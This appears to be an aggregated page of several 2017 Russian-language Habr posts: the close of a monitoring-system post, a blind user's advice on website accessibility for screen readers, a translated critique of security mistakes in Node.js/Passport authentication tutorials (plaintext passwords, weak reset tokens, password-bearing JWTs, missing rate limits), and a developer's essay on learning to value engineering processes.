  2. Метаданные. У нас много сервисов, со временем они меняются, так же как и люди, которые с ними работают. Постоянно вести документацию вручную — не вариант. Поэтому сейчас в наши микросервисы встраиваются метаданные. Там прописано, кто его разработал, языки, с которыми он взаимодействует, требования по SLA, куда и кому высылать нотификации. При деплое сервиса все данные сущности создаются самостоятельно. В итоге вы получаете две ссылки — одна на триггеры, другая — на дэшборды в Grafana.
  3. Мониторинг в каждый дом. Мы считаем, что подобной системой должны пользоваться все разработчики. В этом случае вы всегда понимаете, где ваш трафик, что с ним происходит, где он падает, где у него слабые места. Если, допустим, придёт нечто и завалит ваш сервис, то вы узнаете об этом не во время звонка от менеджера, а от алерта, и сразу сможете открыть свежие логи и посмотреть, что там произошло.
  4. Высокая производительность. Наш проект постоянно растет, и сегодня в нём обрабатывается около 2 000 000 значений метрик в минуту. Год назад этот показатель составлял 500 000. А рост продолжается, и это значит, что через какое-то время Graphite (whisper) начнет очень сильно нагружать дисковую подсистему. Как я уже говорил, эта система мониторинга довольно универсальна за счёт взаимозаменяемости компонентов. Кто-то специально под Graphite обслуживает и постоянно расширяет свою инфраструктуру, но мы решили пойти другим путем: использовать ClickHouse в качестве хранилища наших метрик. Этот переход практически завершен, и совсем скоро я расскажу поподробнее, как это было сделано: какие были трудности и как они были преодолены, как проходил процесс миграции, опишу выбранные в качестве обвязки компоненты и их конфигурации.

Спасибо за внимание! Задавайте свои вопросы по теме, постараюсь ответить здесь или в следующих постах. Возможно, у кого-то есть опыт построения подобной системы мониторинга или перехода на Clickhouse в сходной ситуации — делитесь им в комментариях.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335410/


Как сделать сайты доступнее для пользователей с нарушениями зрения

Пятница, 11 Августа 2017 г. 15:50 + в цитатник
В ответ на мою первую статью «Доступность приложений для пользователей с нарушениями зрения» я получил список вопросов, касающихся доступности сайтов, которые действительно неплохо было бы осветить.

Что желательно сделать на сайте для повышения доступности


По умолчанию почти все элементы HTML доступны для программ экранного доступа, но если вы хотите добиться полной доступности своего сайта, следуйте следующим рекомендациям:

  • Добавьте атрибут alt к изображениям, кратко, можно сокращённо, описав картинку. Ни в коем случае не используйте надписи вида «img12345» или «image1948372» — они не облегчат, а, наоборот, существенно усложнят навигацию.

  • Если при разметке сайта использовались контейнеры div, добавьте к ним атрибут role, тем самым дав понять скрин-ридеру, что здесь находится меню (role=«navigation»), основное содержимое (role=«main») или подвал сайта (role=«contentinfo»). Список всех возможных значений атрибута role и информацию о его использовании вы можете найти здесь.

  • Если на странице присутствуют несколько контейнеров с одинаковым значением role, используйте атрибут area-label, в значении которого по-русски кратко описывайте предназначение контейнера. Если вы напишете
    something
    , то скрин-ридер прочитает пользователю «главное меню навигация ориентир», что довольно удобно.
    Отличный пример использования адаптивной разметки с помощью role и area-label можно увидеть в исходном коде mail.yandex.ru, в режиме для пользователей программ экранного доступа.

  • При желании добавьте горячие клавиши к значимым ссылкам, например, к элементам главного меню. Это делается с помощью атрибута accesskey=«X», где X — любая буква латинского алфавита.

  • Если вам нужно отобразить какой-либо текст при наведении мыши на ссылку, кнопку или другой элемент, сделайте это с помощью атрибута title, а не при помощи JavaScript.

Чего делать не надо


  • Не используйте заголовки для изменения размера шрифта — это усложняет навигацию и забивает речевой вывод скрин-ридера лишней информацией.

  • Не стоит делать множество вложенных таблиц, тем более с заголовками столбцов. Программа экранного доступа начинает читать каждую ячейку с её координатами и заголовками столбцов всех таблиц уровнем выше, что приводит к гарантированному взрыву мозга незрячего пользователя.

  • Использование технологии Flash полностью ломает любую доступность, так как элементы, созданные с помощью неё скрин-ридер даже не распознаёт как отдельные объекты.

  • Правильная разметка — это хорошо, но не злоупотребляйте атрибутами role и area-label, их избыток тоже затрудняет навигацию.

  • Как недавно выяснилось, некоторые элементы HTML5 могут некорректно распознаваться программами экранного доступа в некоторых браузерах. Но здесь чётких рекомендаций пока нет, это тема для отдельного исследования.

Нужна ли сайту отдельная версия для пользователей с нарушениями зрения?


Вопрос спорный. Если у вас хватит профессионализма сделать сайт с красивым дизайном и в то же время с полной доступностью, то надобность в отдельной адаптированной версии отпадёт сама собой. Но даже у vk.com получилось не очень. Дизайн после улучшения доступности вроде бы не пострадал, но сама доступность откровенно хромает на обе ноги. 

Если бы передо мной стоял выбор: сделать отдельную версию с идеальной доступностью или совместить обычную и адаптированную версии, я бы выбрал первое, чтобы не страдали ни дизайн, ни адаптация. 

Где разместить ссылку на адаптированную версию сайта?


Однозначно не стоит размещать ссылку в конце страницы. Причём здесь имеется в виду не визуально нижняя часть страницы, а конец исходного кода, так как именно в том порядке, в котором элементы расположены в исходном коде, их будет читать программа экранного доступа. Лучшим вариантом будет разместить ссылку первым элементом на странице, но сделать её небольшой. Пользователи скрин-ридеров заметят её в первую очередь, а всем остальным она мешать не будет.

Как проверить сайт на доступность? существуют ли специальные инструменты?


Я не знаю, существуют ли такие инструменты, во всяком случае я о них не слышал. Самый простой способ — надеть наушники, закрыть глаза, включить скрин-ридер и попробовать походить по всем страницам своего сайта. Многим такой способ покажется слишком непривычным, но других предложить не могу.

Ещё один способ — позвать для тестирования сайта незрячих людей, но здесь вы рискуете захлебнуться в бессмысленных жалобах неопытных пользователей, поэтому этот метод тоже надо использовать с осторожностью.

Далее идут вопросы, ответы на которые я даю с точки зрения незрячего пользователя, а не программиста.

С какими проблемами вы сталкиваетесь при работе с формами?


Самой распространённой проблемой при работе с формами, наверное, является то, что некоторые формы обновляются о мере их заполнения. К примеру, когда вы выбираете страну, обновляется список городов, когда выбран город, обновляется список районов или станций метро. Это вызывает подвисания скрин-ридера и вылеты виртуального курсора из формы к началу страницы.

Ещё одна проблема, которая делает практически недоступными многие формы — отображение форм в диалоговых окнах. Такие формы очень неудобны для навигации, в них зачастую не читается текст, а многие поля не подписаны, и для пользователя остаётся загадкой назначение того или иного флажка или редактора.

Для проведения платежей сайты используют платёжные шлюзы или специальные страницы банков. Как вы понимаете, что это не фишинговая страница?


Чтобы правильно ответить на этот вопрос, нужно подробнее объяснить, как незрячий пользователь «видит» web-страницу.

Для него страница — это объектная модель, а не картинка. то есть, если визуально можно кнопку, ссылку или обычный текст сделать одинаковыми, то скрин ридер не обманешь, он обязательно произнесёт «ссылка вход», «кнопка вход» или просто «вход». Такая же ситуация  - с похожими буквами латинского и русского алфавитов. Если для обычного пользователя надписи «привет» и «пpивet» при беглом чтении могут показаться одинаковыми, то для скрин-ридера это всегда разные буквы, и читает он их по-разному.

Так что фишинговая страница всегда, может чуть-чуть, совсем немного, но отличается от оригинальной, и, если неопытный пользователь может перепутать оригинал с подделкой, то продвинутый юзер, часто проводящий платежи через интернет, почти всегда заметит подмену.

Как вы взаимодействуете с рекламой? она бывает доступной?


Избыток рекламы на сайтах — одна из самых больших проблем всех незрячих пользователей. Иногда её просто слишком много, что затрудняет навигацию по сайту, иногда она постоянно обновляется, сбрасывая виртуальный курсор на начало страницы, а иногда, если реклама сопровождается звуком, этот звук заглушает речь программы экранного доступа, ввергая многих неопытных, а иногда и опытных пользователей в панику. Представьте, что внезапно по монитору начинают ползать огромные розовые жуки, закрывая вам весь обзор и не давая даже закрыть страницу с рекламой. Неприятно.

Приведите пример отличного по доступности сайта


Однозначного ответа дать не могу. Наиболее доступной можно назвать уже упомянутую выше версию для незрячих пользователей почты Яндекса.

Почти доступна полная версия vk.com, но присутствует множество грубейших ошибок. В этом нет вины разработчиков, здесь скорее налицо исполнение мечты неопытного пользователя: куча лишней информации, лишних ориентиров, зато не заблудишься. Доступных сайтов много, проще назвать полностью или почти полностью недоступные, например, уже упомянутая мной в первой статье web-версия telegram, официальный сайт сбербанка. Им, конечно, можно пользоваться, но с затруднениями. В эту же категорию можно отнести и сайт ГосУслуги, о котором я тоже уже говорил.

Пользуетесь ли вы настройкой браузера, позволяющей увеличить размер шрифта? часто ли это работает?


Я ей не пользуюсь, потому что размер шрифта мне не важен. Я вообще не работаю с компьютером визуально.

Используете ли вы голосовые помощники вроде Siri, Alexa, Cortana?


Siri я не использую, потому что у меня не IPhone, про Alexa раньше никогда не слышал, а Cortana в Windows 10, как впрочем и на Windows Phone, недоступна на русском языке. 

Часто ли вы пользуетесь смартфоном? Удобнее ли Мобильные сайты десктопных? Мобильные сайты содержат меньше мусора, является ли это преимуществом?


Смартфоном я пользуюсь постоянно, но просматривать web-сайты предпочитаю на компьютере, потому что, к сожалению, связки TalkBack + Chrome & Firefox на Android крайне нестабильны и неудобны. А мобильные версии сайтов можно использовать и с компьютера, что очень часто спасает от лишнего контента и упрощает навигацию. Так было в vk.com, до тех пор, пока не сделали адаптивную полную версию.

Используете ли вы режим чтения в браузере, который вырезает шелуху?


Нет, такой режим я не использую, но, может быть, в ближайшем будущем попробую.

Пытаетесь ли вы сообщать владельцам сайтов о проблемах с доступностью? Помогает ли это?


Здесь работает следующее правило: чем крупнее компания, тем меньше её волнует мнение отдельного пользователя.

к примеру, небольшой интернет-магазин с аудиторией человек в 500 гораздо охотнее ответит на сообщение о проблеме и исправит её, чем такой гигант как Samsung или Sony. 

Доступности ВК добивались всей Россией почти месяц, и, только собрав более 200000 подписей под соответствующей петицией на change.org, мы смогли что-то изменить.

Как вы работаете с сайтами на других языках? Используете ли функции автоперевода в браузере?


С сайтами на английском языке я работаю без перевода, за исключением отдельных случаев, а сайтов на других языках пока не встречал в тех количествах, чтобы задумываться об автопереводе. 

А вообще функции автоперевода очень часто убивают любую доступность напрочь, делая даже самый адаптированный сайт неудобным для невизуального использования.
На этом всё.

Использованные материалы


Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335442/


Метки:  

[Перевод] Аутентификация в Node.js. Учебные руководства и возможные ошибки

Пятница, 11 Августа 2017 г. 15:11 + в цитатник
Однажды я отправился на поиск учебных руководств по аутентификации в Node.js/Express.js, но, к сожалению, не смог найти ни одного, которое меня бы полностью устроило. Некоторые были неполными, некоторые содержали ошибки в сфере безопасности, вполне способные навредить неопытным разработчикам.

Сразу скажу, что я всё ещё нахожусь в поиске надёжного, всеобъемлющего решения для аутентификации в Node/Express, которое способно составить конкуренцию Devise для Rails. Однако, удручающая ситуация в сфере руководств подвигла меня на подготовку этого материала. Тут я разберу некоторые наиболее распространённые ошибки в области аутентификации и расскажу о том, как их избежать.

image

Выше я говорил о «неопытных разработчиках». Кто они? Например — это тысячи фронтенд-программистов, брошенных в водоворот серверного JS, которые пытаются набраться практического опыта из руководств, либо просто копипастят всё, что попадётся под руку и устанавливают всё подряд с помощью npm install. Почему бы им не вложить время в серьёзное изучение вопроса? Дело в том, что они копипастят не от хорошей жизни, им приходится из кожи вон лезть, чтобы уложиться в сроки, установленные аутсорс-менеджерами, или кем-то вроде креативных директоров рекламных агентств.

На самом деле, пока я искал подходящее руководство по аутентификации, я проникся ощущением, что каждый Node-программист, у которого есть блог, опубликовал собственный тьюториал, посвящённый тому, как «делать это правильно», или, точнее, о том, «как это делается».

Ещё одна неоднозначная вещь в разработке для Node.js заключается в отсутствии некоего всеобъемлющего, надёжного решения для аутентификации. Этот вопрос, в основном, рассматривается в качестве чего-то вроде упражнения для программиста. Стандартом де-факто для Express.js является Passport, однако, это решение предлагает лишь набор стратегий аутентификации. Если вам нужно надёжное решение для Node, вроде Platformatec Devise для Ruby on Rails, вам, вероятно, придётся обратиться к Auth0 — стартапу, который предлагает аутентификацию как сервис.

Passport, в отличие от полномасштабного Devise, представляет собой промежуточный программный слой, который, сам по себе, не охватывает все части процесса аутентификации. Используя Passport, Node-разработчику придётся создать собственное API для механизма токенов и для сброса пароля. Ему придётся подготовить маршруты и конечные точки аутентификации пользователей. На нём же лежит и создание интерфейсов с использованием, например, некоего популярного языка шаблонов. Именно поэтому существует множество учебных руководств, которые направлены на помощь в установке Passport для Express.js-приложений. Практически все они содержат те или иные ошибки. Ни одно из них не позволяет создать полномасштабное решение, необходимое для работающего веб-приложения.

Хотелось бы отметить, что я не собираюсь нападать на конкретных создателей этих руководств, скорее я использую их ошибки для того, чтобы продемонстрировать проблемы с безопасностью, связанные с развёртыванием ваших собственных систем аутентификации. Если вы — автор подобного руководства — дайте мне знать, если после чтения этого материала внесёте в своё руководство правки. Сделаем экосистему Node/Express безопаснее и доступнее для новых разработчиков.

Ошибка первая: хранилище учётных данных


Начнём с хранилища учётных данных. Запись и чтение учётных данных — это вполне обычные задачи в сфере управления аутентификацией, и традиционный способ решения этих задач заключается в использовании собственной базы данных. Passport является промежуточным программным обеспечением, которое просто сообщает нашему приложению: «этот пользователь прошёл проверку», или: «этот пользователь проверку не прошёл», требуя модуля passport-local для работы с хранилищем паролей в локальной базе данных. Этот модуль написан тем же разработчиком, что и сам Passport.js.

Прежде чем мы спустимся в эту кроличью нору учебных руководств, вспомним об отличной шпаргалке по хранению паролей, подготовленной OWASP, которая сводится к тому, что нужно хранить высокоэнтропийные пароли с уникальной «солью» и c применением односторонних адаптивных функций хэширования. Тут можно вспомнить и bcrypt-мем с codahale.com, даже несмотря на то, что по данному вопросу имеются некоторые разногласия.

Я, в поиске того, что мне нужно, повторяя путь нового пользователя Express.js и Passport, сначала заглянул в примеры к самому passport-local. Там оказался шаблон приложения Express 4.0., который я мог скопировать и расширить под свои нужды. Однако, после простого копирования этого кода, я получал не так уж и много полезностей. Например, здесь не оказалось подсистемы поддержки базы данных. Пример подразумевал простое использование некоторого набора аккаунтов.

На первый взгляд всё вроде бы нормально. Перед нами — обычное интранет-приложение. Разработчик, который воспользуется им, загружен донельзя, у него нет времени что-то серьёзно улучшать. Неважно, что пароли в примере не хэшируются. Они хранятся в виде обычного текста прямо рядом с кодом логики валидации. А хранилище учётных данных здесь даже не рассматривается. Чудная получится система аутентификации.

Поищем ещё одно учебное руководство по passport-local. Например, мне попался этот материал от RisingStack, который входит в серию руководств «Node Hero». Однако, и эта публикация мне совершенно не помогла. Она тоже давала пример приложения на GitHub, но имела те же проблемы, что и официальное руководство. Тут, однако, надо отметить, что 8-го августа стало известно о том, что RisingStack теперь использует bcrypt в своём демонстрационном приложении.

Далее, вот ещё один результат из Google, выданный по запросу express js passport-local tutorial. Руководство написано в 2015-м. Оно использует Mongoose ODM и читает учётные данные из базы данных. Тут есть всё, включая интеграционные тесты, и, конечно, ещё один шаблон, который можно использовать. Однако, Mongoose ODM хранит пароли, используя тип данных String, как и в предыдущих руководствах, в виде обычного текста, только на этот раз в экземпляре MongoDB. А всем известно, что экземпляры MongoDB обычно очень хорошо защищены.

Вы можете обвинить меня в пристрастном выборе учебных руководств, и вы будете правы, если пристрастный выбор означает щелчок по ссылке с первой страницы выдачи Google.

Возьмём теперь материал с самого верха страницы результатов поиска — руководство по passport-local от TutsPlus. Это руководство лучше, тут используют bcrypt с коэффициентом трудоёмкости 10 для хэширования паролей и замедляют синхронные проверки хэша, используя process.nextTick.

Самый верхний результат в Google, это руководство от scotch.io, в котором так же используется bcrypt с меньшим коэффициентом трудоёмкости, равным 8. И 8, и 10 — это мало, но 8 — это очень мало. Большинство современных bcrypt-библиотек используют 12. Коэффициент трудоёмкости 8 был хорош для административных учётных записей восемнадцать лет назад, сразу после выпуска первой спецификации bcrypt.

Если даже не говорить о хранении секретных данных, ни одно из этих руководств не показывало реализацию механизма сброса паролей. Эта важнейшая часть системы аутентификации, в которой немало подводных камней, была оставлена в качестве упражнения для разработчика.

Ошибка вторая: система сброса паролей


Схожая проблема в области безопасности — сброс пароля. Ни одно из руководств, находящихся в верхней части поисковой выдачи, совершенно ничего не говорит о том, как делать это с использованием Passport. Чтобы это узнать, придётся искать что-то другое.

В деле сброса пароля есть тысячи способов всё испортить. Вот наиболее распространённые ошибки в решении этой задачи, которые мне довелось видеть:

  1. Предсказуемые токены. Токены, основанные на текущем времени — хороший пример. Токены, построенные на базе плохого генератора псевдослучайных чисел, хотя и выглядят лучше, проблему не решают.

  2. Неудачное хранилище данных. Хранение незашифрованных токенов сброса пароля в базе данных означает, что если она будет взломана, эти токены равносильны паролям, хранящимся в виде обычного текста. Создание длинных токенов с помощью криптографически стойкого генератора псевдослучайных чисел позволяет предотвратить удалённые атаки на токены сброса пароля методом грубой силы, но не защищает от локальных атак. Токены для сброса пароля следует воспринимать как учётные данные и обращаться с ними соответственно.

  3. Токены, срок действия которых не истекает. Если срок действия токенов не истекает, у атакующего есть время для того, чтобы воспользоваться временным окном сброса пароля.

  4. Отсутствие дополнительных проверок. Дополнительные вопросы при сбросе пароля — это стандарт верификации данных де-факто. Конечно, это работает как надо лишь в том случае, если разработчики выбирают хорошие вопросы. У подобных вопросов есть собственные проблемы. Тут стоит сказать и об использовании электронной почты для восстановления пароля, хотя рассуждения об этом могут показаться излишней перестраховкой. Ваш адрес электронной почты — это то, что у вас есть, а не то, что вы знаете. Он объединяет различные факторы аутентификации. Как результат, адрес почты становится ключом к любой учётной записи, которая просто отправляет на него токен сброса пароля.

Если вы со всем этим никогда не сталкивались, взгляните на шпаргалку по сбросу паролей, подготовленную OWASP. Теперь, обсудив общие вопросы, перейдём к конкретике, посмотрим, что может предложить экосистема Node.

Ненадолго обратимся к npm и посмотрим, сделал ли кто-нибудь библиотеку для сброса паролей. Вот, например, пакет пятилетней давности от в целом замечательного издателя substack. Учитывая скорость развития Node, этот пакет напоминает динозавра, и если бы мне хотелось попридираться к мелочам, то я мог бы сказать, что функция Math.random() предсказуема в V8, поэтому её не следует использовать для создания токенов. Кроме того, этот пакет не использует Passport, поэтому мы идём дальше.

Stack Overflow здесь тоже особенно не помог. Как оказалось, разработчики из компании Stormpath любят писать о своём IaaS-стартапе в любом посте, хоть как-то связанным с этой темой. Их документация тоже всплывает повсюду, они также продвигают свой блог, где есть материалы по сбросу паролей. Однако, чтение всего этого — пустая трата времени. Stormpath — проект нерабочий, 17 августа 2017-го он закрывается.

Ладно, возвращаемся к поиску в Google. На самом деле, такое ощущение, что интересующая нас тема раскрыта в единственном материале. Возьмём первый результат, найденный по запросу express passport password reset. Тут снова встречаем нашего старого друга bcrypt, с даже меньшим коэффициентом трудоёмкости, равным 5, что значительно меньше, чем нужно в современных условиях.

Однако, это руководство выглядит довольно-таки целостным по сравнению с другими, так как оно использует crypto.randomBytes для создания по-настоящему случайных токенов, срок действия которых истекает, если они не были использованы. Однако, пункты 2 и 4 из вышеприведённого списка ошибок при сбросе пароля в этом серьёзном руководстве не учтены. Токены хранятся ненадёжно — вспоминаем первую ошибку руководств по аутентификации, связанную с хранением учётных данных.

Хорошо хотя бы то, что украденные из такой системы токены имеют ограниченный срок действия. Однако, работать с этими токенами очень весело, если у атакующего есть доступ к объектам пользователей в базе данных через BSON-инъекцию, или есть свободный доступ к Mongo из-за неправильной настройки СУБД. Атакующий может просто запустить процесс сброса пароля для каждого пользователя, прочитать незашифрованные токены из базы данных и создать собственные пароли для учётных записей пользователей, вместо того, чтобы заниматься ресурсоёмкой атакой по словарю на хэши bcrypt с использованием мощного компьютера с несколькими видеокартами.

Ошибка третья: токены API


Токены API — это тоже учётные данные. Они так же важны, как пароли и токены сброса паролей. Практически все разработчики знают это и стараются очень надёжно хранить свои ключи AWS, коды доступа к Twitter и другие подобные вещи, однако, к программам, которые они пишут, это часто не относится.

Воспользуемся системой JSON Web Tokens (JWT) для создания учётных данных доступа к API. Применение токенов без состояния, которые можно добавлять в чёрные списки и нужно запрашивать, это лучше, чем старый шаблон API key/secret, который использовался в последние годы. Возможно, наш начинающий Node.js-разработчик где-то слышал о JWT, или даже видел пакет passport-jwt и решил реализовать в своём проекте стратегию JWT. В любом случае, JWT — это то место, где кажется, что все попадают в сферу влияния Node.js. (Почтенный Томас Пташек заявит, что JWT — это плохо, но я сомневаюсь, что его кто-нибудь услышит).

Поищем по словам express js jwt в Google и откроем первый материал в поисковой выдаче, руководство Сони Панди об аутентификации пользователей с применением JWT. К несчастью, этот материал нам ничем не поможет, так как в нём не используется Passport, но пока мы на него смотрим, отметим некоторые ошибки в хранении учётных данных:

  1. Ключи JWT хранятся в виде обычного текста в GitHub-репозитории.

  2. Для хранения паролей используется симметричный шифр. Это означает, некто может завладеть ключом шифрования и расшифровать все пароли. К тому же, тут наблюдаются неправильные взаимоотношения между ключом шифрования и секретным ключом JWT.

  3. Здесь, для шифрования данных в хранилище паролей, используется алгоритм AES-256-CTR. AES вообще не стоит использовать, и данный его вариант ничего не меняет. Я не знаю, почему был выбран именно этот алгоритм, но только одно это делает зашифрованные данные уязвимыми.

Да уж… Вернёмся к Google и поищем ещё руководств. Ресурс scotch.io, который, в руководстве по passport-local, проделал замечательную работу, касающуюся хранилища паролей, просто игнорирует свои же идеи и хранит пароли в новом примере в виде обычного текста.

Однако, я решил дать этому руководству шанс, хотя его нельзя рекомендовать любителям копипастить. Это из-за одной интересной особенности, которая заключается в том, что тут выполняется сериализация объекта пользователя Mongoose в JWT.

Клонируем репозиторий этого руководства, следуя инструкциям развернём и запустим приложение. После нескольких DeprecationWarning от Mongoose можно будет перейти на http://localhost:8080/setup и создать пользователя. Затем, отправив на /api/authenticate учётные данные — «Nick Cerminara» и «password», мы получим токен, Просмотрим его в Postman.


JWT-токен, полученный из программы, описанной в руководстве scotch.io

Обратите внимание на то, что JWT-токен подписан, но не зашифрован. Это означает, что большой фрагмент двоичных данных между двумя точками — это объект в кодировке Base64. По-быстрому его раскодируем и перед нами откроется кое-что интересное.


Что может быть лучше пароля в виде обычного текста

Теперь любой, у кого есть токен, даже такой, срок действия которого истёк, имеет пароль пользователя, а заодно и всё остальное, что хранится в модели Mongoose. Учитывая то, что токен передаётся по HTTP, завладеть им можно с помощью обычного сниффера.

Как насчёт ещё одного руководства? Оно рассчитано на новичков и посвящено аутентификации с использованием Express, Passport и JWT. В нём наблюдается та же уязвимость, связанная с раскрытием информации. Следующее руководство, подготовленное стартапом SlatePeak, выполняет такую же сериализацию. На данном этапе я прекратил поиски.

Ошибка четвёртая: ограничение числа попыток аутентификации


Я не нашёл упоминаний об ограничении числа попыток аутентификации или о блокировке аккаунта ни в одном из рассмотренных руководств.

Без ограничения числа попыток аутентификации, атакующий может выполнить онлайновую атаку по словарю, например, с помощью Burp Intruder, в надежде получить доступ к учётной записи со слабым паролем. Блокировка аккаунта так же помогает в решении этой проблемы благодаря требованию ввода дополнительной информации при следующей попытке входа в систему.

Помните о том, что ограничение числа попыток аутентификации способствует доступности сервиса. Так, использование bcrypt создаёт серьёзную нагрузку на процессор. Без ограничений, функции, в которых вызывают bcrypt, становятся вектором отказа в обслуживании уровня приложения, особенно при использовании высоких значений коэффициента трудоёмкости. В результате обработка множества запросов на регистрацию пользователей или на вход в систему с проверкой пароля создаёт высокую нагрузку на сервер.

Хотя подходящего учебного руководства на эту тему у меня нет, есть множество вспомогательных библиотек для ограничения числа запросов, таких, как express-rate-limit, express-limiter, и express-brute. Не могу говорить об уровне безопасности этих модулей, я их даже не изучал. В целом, я порекомендовал бы использовать в рабочих системах обратный прокси и передавать обработку ограничения числа запросов nginx или любому другому балансировщику нагрузки.

Итоги: аутентификация — задача непростая


Скорее всего авторы учебных руководств будут защищать себя со словами: «Это лишь объяснение основ! Уверены, никто не будет использовать этого в продакшне!». Однако, я не могу не указать на то, что эти слова не соответствуют действительности. Это особенно справедливо, если к учебным руководствам прилагается код. Люди верят словам авторов руководств, у которых гораздо больше опыта, чем у тех, кто руководства читает.

Если вы — начинающий разработчик — не доверяйте учебным руководствам. Копипастинг кода из таких материалов, наверняка, приведёт вас, вашу компанию, и ваших клиентов, к проблемам в сфере Node.js-аутентификации. Если вам действительно нужны надёжные, готовые к использованию в продакшне, всеобъемлющие библиотеки для аутентификации, взгляните на что-то, чем вам удобно будет пользоваться, на что-то, что обладает большей стабильностью и лучше испытано временем. Например — на связку Rails/Devise.

Экосистема Node.js, несмотря на свою доступность, всё ещё таит множество опасностей для JS-разработчиков, которым нужно срочно написать веб-приложение для решения реальных задач. Если ваш опыт ограничивается фронтендом, и ничего кроме JavaScript вы не знаете, лично я уверен в том, что легче взять Ruby и встать на плечи гигантов, вместо того, чтобы быстро научиться тому, как не отстрелить себе ногу, программируя подобные решения с нуля для Node.

Если вы — автор учебного руководства, пожалуйста, обновите его, в особенности это касается шаблонного кода. Этот код попадёт в продакшн.

Если вы — убеждённый Node.js-разработчик, надеюсь, вы нашли в моём рассказе что-нибудь полезное, касающееся того, чего лучше не делать в вашей системе аутентификации, основанной на Passport. Наверняка, если такая система у вас уже есть, что-то в ней сделано неправильно. Я не говорю о том, что мой материал покрывает все возможные ошибки аутентификации. Создание системы аутентификации для Express-приложения — это задача разработчика, который понимает все тонкости конкретного проекта. В результате получиться у него должно что-то качественное и надёжное. Если вы хотите обсудить вопросы защиты веб-приложений на Node.js — отправьте мне сообщение в Twitter.
Автор публикации сообщает, что 7-го августа, с ним связались представители RisingStack. Они сообщили о том, что в их учебных руководствах пароли больше не хранятся в виде обычного текста. Теперь в коде и руководствах они используют bcrypt.

Кроме того, он, вдохновлённый откликами на свой материал, создал этот документ, в котором намеревается собрать всё лучшее из области аутентификации в Node.js.

Уважаемые читатели! Что вы можете сказать об организации системы аутентификации в веб-приложениях, основанных на Node.js?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335434/


Метки:  

Узники системы

Пятница, 11 Августа 2017 г. 15:00 + в цитатник

Привет! Меня зовут Ваня. За последние 10 лет меня покидало по разным специализациям. Я занимался и фул стек веб-разработкой, и мобильными приложениями, а последние лет 5 — играми. Теперь вот в Microsoft занесло. Хочу поделиться историей о том как менялось мое отношение к разным особенностям профессии.



Когда я был еще личинкой разработчика, я любил программирование больше всего на свете. Возможность писать код (Да еще и получать за это деньги!) туманила разум. Получив свою первую профессиональную работу веб-разработчиком, я был на седьмом небе от счастья и не мог поверить, что так бывает. Но не все так просто...


В этой бочке нашлась ложка дегтя — менеджеры.


Выкидыши системы. Они не понимали и не хотели понимать почему фичу, которую они просят, нельзя сделать быстро. А я не хотел объяснять. Я хотел писать код. Хотел чтобы мне не мешали. Они заставляли меня создавать задачи в трекере и логгировать время. Они заставляли меня ходить на митинги полные пустых разговоров. Зачем все это?


Я просто хочу писать код. Почему я должен общаться с этими людьми? Они не понимают и десятой части того, о чем я говорю. Как было бы хорошо избавиться от всей этой бюрократической чуши! Игры! В разработке игр наверняка нет всей этой ереси!


Глоток свободы


И вот, спустя несколько лет я попал в мир грез. Разработка игр. Я устроился в новообразовавшуюся студию. Кроме меня и моей начальницы больше никого не было. Она мне дала общее описание проекта. Никаких деталей. И сказала, мол, начни делать что-нибудь. Неделю я просто писал код, работая над прототипом. Никаких митингов, никаких таск-трекеров, никаких отчетов. С меня ничего не спрашивали. Я подумал: "Боже, я что в рай что ли попал?". Свобода!


Мы реализовывали все клевые идеи, которые только появлялись в нашей голове. Было весело. Но однажды на нас сверху спустили требования и сроки. Все изменилось. Объем работы вырос. Я один не справлялся. Мы наняли несколько разработчиков.


Мы делили работу между собой, но работали очень неформально. Сроки, конечно, были, но никто не дышал в затылок. В какой-то момент я заметил, что мы часто обсуждаем важные детали устно. Это приводило к тому, что мы забывали что-то доделать, или забывали о некоторых задачах и багах совсем. Они просто терялись.


Мы хаотично переключались от багов к задачам и наоборот. Это подтолкнуло нас к первому шагу в сторону порядка — таск трекер. А ведь я так это не любил. Мне всегда это казалось чисто формальным и совсем не нужным.


Мы стали все фиксировать в трекере. Со временем. Стали меньше забывать о чем-то. Мы не теряли баги. В хаосе появился кусочек порядка. Мы начали фокусироваться только на самых важных задачах. Мы стали понимать сколько успеем за неделю.


В этот момент я осознал, что все эти процессы, которые мне казались бюрократией, были придуманы людьми не просто так.


Погружение


Не знаю, то ли это я стал опытнее, то ли это бремя ответственности за проект, свалившееся на меня как на лида. Но я начал понимать, что мы тратим кучу времени на какие-то левые вещи.


Пока мы разрабатывали игрушку, очень важно было постоянно получать фидбек, чтобы двигаться в правильном направлении. Мы постоянно собирали билды и выкладывали их на портал, чтобы люди могли поиграть. Фактически, мы работали по Agile схеме. Но у нас не было стендапов. Спринта официально тоже не было, но мы работали итерациями длиной в неделю. Спринт планнинг был условным, а ревью и ретроспективы не было совсем. Иначе говоря, у нас не было митингов с кучей пустой болтовни, и я не заметил какого-либо ущерба от этого.


Разработка прототипа предполагает, что все делается очень быстро. А это означает и частую сборку билдов для демонстрации проделанной работы. В то время мы писали на C++, и время сборки билда нас удручало. В конце концов у нас бомбануло от того что билд нужно собирать несколько раз в день. Мы поставили билд сервер и настроили:


  • сборку билда по коммиту
  • деплой билда в демо-портал
  • уведомление о том, что билд не собрался и список предполагаемых виновников

Сколько времени освободилось! Больше не надо было прерываться посреди задачи, чтобы собрать билд для "шишек", которые хотят его посмотреть прямо сейчас.


С появлением билд сервера пришла новая проблема. Билд стал часто ломаться. Хотя мы и могли сказать "Берите предыдущий билд, последний пока не работает" — это был не самый удобный вариант.


Проблема заключалась в том, что все коммитили в master. Многие коммитили не убедившись, что их коммит не поломал билд. Или не привнес регрессионный баг. Чтобы побороть эту проблему, пришлось внедрить еще одно правило. Мы стали работать по git flow.


Мы стали строго следовать ему и прониклись его идеологией. Работа стала легче. Легче стало сливать изменения в один бранч. Мы разделили билды на release, dev-stable, nightly. Все стали ответственнее относиться к тому, что они делают. Позже мы стали уделять внимание и коммит-месседжам. Привязывать их к тикетам в таск-трекере.


После первого релиза приложения, как это бывает, от юзеров стало поступать много жалоб. Приложение падает, это не работает, то, сё. Проблема была в том, что мы никак не могли получить подробной информации из жалобы. Нам нужно было либо воспроизвести баг силами QA, либо найти способ получить диагностическую информацию. QA может отловить только маленькую часть ошибок. На самые лютые баги всегда натыкаются ваши лояльные пользователи.


Все это потребовало внедрения системы аналитики и мониторинга, которые помогли нам диагностировать кучу проблем, о которых мы даже не подозревали. О многих ошибках юзеры даже не сообщали. В моем воображении они просто орали матом, а потом удаляли игру к чертям.


